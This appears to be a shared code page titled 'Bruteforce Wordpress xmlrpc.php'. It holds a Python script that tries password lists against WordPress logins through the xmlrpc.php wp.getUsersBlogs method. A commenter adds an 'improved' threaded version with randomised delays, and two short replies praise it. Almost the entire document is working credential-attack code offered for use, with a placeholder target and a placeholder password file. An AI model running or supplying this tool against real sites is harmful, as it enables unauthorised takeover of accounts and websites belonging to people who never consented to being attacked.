Bruteforce Wordpress xmlrpc.php

brutewp.py

import itertools
import requests


TARGET_URL = 'http://yourhosthere/xmlrpc.php'


XML = '''
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
	<param>
		<value>
			<string>{username}</string>
		</value>
	</param>
	<param>
		<value>
			<string>{password}</string>
		</value>
	</param>
</params>
</methodCall>



'''

def wrap_creds_in_xml(username='', password=''):
	return XML.format(username=username, password=password)
	
def is_correct(text=''):
	constant = 'Benutzer oder Passwort falsch'
	return constant not in text

def get_passwords():
	with open('CHANGEYOURPASSWORDLIST') as file:
		text_as_string = file.read()
		return text_as_string.split('\n')

def main():
	users = ('masteramse', 'admin', 'markus', )
	passwords = get_passwords()
	
	for user, password in itertools.product(users, passwords):
		payload = wrap_creds_in_xml(username=user, password=password)
		response = requests.post(TARGET_URL, payload)
		correct = is_correct(text=response.text)
	
		if not correct:
			print('tried user "{}" pass"{}"'.format(user, password))
		else:
			print('----------FOUND IT!')
			print('USER: {}\nPASS:{}'.format(user, password))
			exit()
if __name__ == '__main__':
	main()
	

I improved a little

import itertools
import requests
import sys
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor
from time import sleep
from random import uniform

TARGET_URL = 'http://yourhosthere/xmlrpc.php'

XML = '''<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>{username}</string></value></param>
<param><value><string>{password}</string></value></param>
</params>
</methodCall>'''

class WordPressChecker:
    def __init__(self, target_url=TARGET_URL, threads=10):
        self.target_url = target_url
        self.threads = threads
        self.session = requests.Session()
        self.found = False
        self.start_time = None
        self.attempts = 0
        
    def prepare_payload(self, username, password):
        return XML.format(username=username, password=password)
    
    def check_success(self, response_text):
        return 'Benutzer oder Passwort falsch' not in response_text
    
    def load_passwords(self, filename='CHANGEYOURPASSWORDLIST'):
        try:
            with open(filename) as f:
                return [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"Password file {filename} not found")
            sys.exit(1)
    
    def try_login(self, credentials):
        if self.found:
            return
            
        user, password = credentials
        try:
            payload = self.prepare_payload(user, password)
            response = self.session.post(self.target_url, data=payload)
            self.attempts += 1
            
            if self.check_success(response.text):
                self.found = True
                self.print_success(user, password)
                sys.exit(0)
                
            if self.attempts % 100 == 0:
                self.print_status(user, password)
                
            sleep(uniform(0.1, 0.3))
            
        except requests.exceptions.RequestException:
            sleep(1)
    
    def print_status(self, user, password):
        elapsed = datetime.now() - self.start_time
        rate = self.attempts / elapsed.total_seconds()
        print(f"Tried: {user}:{password} | Attempts: {self.attempts} | Rate: {rate:.2f}/s")
    
    def print_success(self, user, password):
        print("\n" + "=" * 50)
        print(f"SUCCESS! Credentials found!")
        print(f"Username: {user}")
        print(f"Password: {password}")
        print("=" * 50 + "\n")
    
    def run(self, users=('admin', 'administrator', 'masteramse')):
        self.start_time = datetime.now()
        passwords = self.load_passwords()
        
        print(f"Starting brute force against {self.target_url}")
        print(f"Loaded {len(passwords)} passwords")
        print(f"Using {self.threads} threads")
        print("=" * 50)
        
        credentials = list(itertools.product(users, passwords))
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            executor.map(self.try_login, credentials)
        
        if not self.found:
            print("\nNo valid credentials found")

def main():
    try:
        checker = WordPressChecker()
        checker.run()
    except KeyboardInterrupt:
        print("\nOperation cancelled by user")
        sys.exit(0)
    except Exception as e:
        print(f"An error occurred: {str(e)}")
        sys.exit(1)

if __name__ == '__main__':
    main()

Well thank you very much. Great 👍 @lalaio1 .

Eu testei fixe!